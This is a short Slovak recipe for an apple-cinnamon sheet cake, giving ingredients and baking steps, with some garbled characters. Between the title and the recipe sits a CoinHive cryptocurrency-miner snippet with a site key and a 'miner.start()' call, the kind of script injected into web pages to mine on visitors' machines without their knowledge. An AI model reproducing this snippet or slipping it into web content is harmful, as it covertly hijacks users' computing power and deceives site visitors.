Jablkovo-skoricovy kolaé

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU

D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 500g muky Promix PK, 400 g praskového cukru, 5 Skoricovych cukrov, 1 prasok
do peciva, 1dcl oleja, 3 dcl mlieka, 4 vajcia, postruhané jablka

Postup: Cukor, vajcia, olej a mlieko spolu vymieSame, pridame muku, prasok do peciva a
znova vymieSame. Cesto vylejeme na plech a posypeme postrahanymi jablkami. Po upeceni
pokvapkame ¢okoladou alebo posypeme cukrom.




